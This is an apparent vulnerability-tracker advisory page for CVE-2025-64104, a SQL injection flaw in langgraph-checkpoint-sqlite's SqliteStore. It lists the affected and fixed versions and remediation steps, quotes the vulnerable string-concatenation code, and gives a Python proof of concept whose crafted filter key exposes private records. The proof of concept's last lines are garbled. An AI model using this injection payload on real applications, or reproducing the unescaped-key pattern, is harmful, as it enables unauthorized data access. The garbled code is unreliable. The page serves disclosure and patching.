Live › vulnerability › CVE-2025-64104
Go to dashboardThe SqliteStore in langgraph-checkpoint-sqlite builds JSON path filter queries by concatenating filter keys directly into SQL. An attacker who controls those keys can inject SQL to read records they should not see, including private documents.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-28 21:12 UTC, 0h before NVD. All times on this page are UTC.
Only applications that instantiate SqliteStore from langgraph-checkpoint-sqlite are exposed. The risk applies when the filter argument is built from untrusted input such as query parameters or request bodies. Static filter keys, or keys validated against an allowlist, are not at risk, and LangSmith deployments are not affected.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| langgraph-checkpoint-sqlite | pypi | <= 2.0.10 | 2.0.11 |
pip show langgraph-checkpoint-sqlite and check whether the version is 2.0.10 or lower.SqliteStore and check whether any filter= argument uses keys taken from request parameters, request bodies or other user input.langgraph-checkpoint-sqlite to 2.0.11 or later.SqliteStore.search.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.
/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py
The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.
filter_conditions.append(
"json_extract(value, '$."
+ key # <-- Directly concatenated, no escaping!
+ "') = '"
+ value.replace("'", "''") # <-- Only value is escaped
+ "'"
)
This issue affects only developers or projects that directly use the checkpoint-sqlite store.
An application is vulnerable only if it:
SqliteStore from the checkpoint-sqlite package, andfilter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.
Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.
Complete instructions, including specific configuration details, to reproduce the vulnerability.
#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""
from langgraph.store.sqlite import SqliteStore
# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
store.setup()
# Add public and private documents
store.put(("docs",), "public", {"access": "public", "data": "public info"})
store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
# Normal query - returns 1 public document
normal = store.search(("docs",), filter={"access": "public"})
print(f"Normal query: {len(normal)} docs")
# SQL injection via malicious key
malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
injected = store.search(("docs",), filter={malicious_key: "dummy"})
print(f"Injected query: {len(injected)} docs")
for doc in injected:
if doc.value.get() == :
()
This page as .md · .json · in your agent: get_signal("CVE-2025-64104")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.